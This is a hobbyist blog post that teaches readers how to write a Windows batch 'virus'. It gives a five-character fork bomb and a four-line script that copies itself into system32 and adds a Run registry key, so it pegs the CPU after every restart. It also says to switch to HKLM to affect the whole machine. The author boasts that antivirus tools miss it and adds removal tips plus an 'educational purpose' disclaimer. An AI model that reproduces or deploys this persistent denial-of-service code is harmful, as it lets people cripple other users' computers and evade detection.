Smallest Virus of the World!! 5 Characters can EAT your machine. Go to Start > run > notepad Write this Command on notepad: %0|%0 (This is the Code for Virus) Save the File with and .bat extension eg. hello.bat Run the File and See the Magic!!! This will eat you 100% CPU usage. Now to add the functionality of auto execution on Restart, I will write some more code in Batch Programming. @echo off copy %0 %systemroot%\system32\kb.bat reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v kb /t REG_SZ /d %systemroot%\system32\kb.bat /f %0|%0 Save this code in notepad with anyname and .bat extension. The four Line code above is Dangerous, This will take the CPU usage of Computer to 100% within 10 Sec. of Restart. Almost No anti-Virus can Detect it, as it is Developed by us Manually. Explanation of the Code: @echo off = Output window should not display all the Commands Written on it, only output!! copy %0 %systemroot%\system32\kb.bat = %0 means me or i or myself, so this command will copy this file in system32 with the name kb.bat reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v kb /t REG_SZ /d %systemroot%\system32\kb.bat /f = this is the functionallity of c:\windows\system32\reg.exe to add registry in your computer, that will execute kb.bat on every restart. ( To make it more dangerous > use HKLM instead of HKCU) HKLM will effect whole machine > Hive Keys Local Machine HKCU will effect only the particular User account > Hive Keys Current User Last but not the Least %0|%0 will call command prompt at the speed of A^n(a raise to power n) and will gradually eat your CPU :0 Windows are too vulnerable > Use my OS, Will upload soon.. cheersss… Note: 1) It is Dangerous, Newbies Don’t try it on your own machine(Try it on virtual Machine) 2) To rectify > Restart the computer in Safe mode and Delete kb.bat from C:\windows\sytem32 3) If you cannot switch on your computer in safe mode, Use Live OS like, Back track or Ubuntu or Fadora or my OS. 4) Don’t Mis-use your Knowlege Disclaimer: We are not responsible for any Kind of Loss or damage to any intellectual or Physical Property due to above post. It is solely for Educational purpose...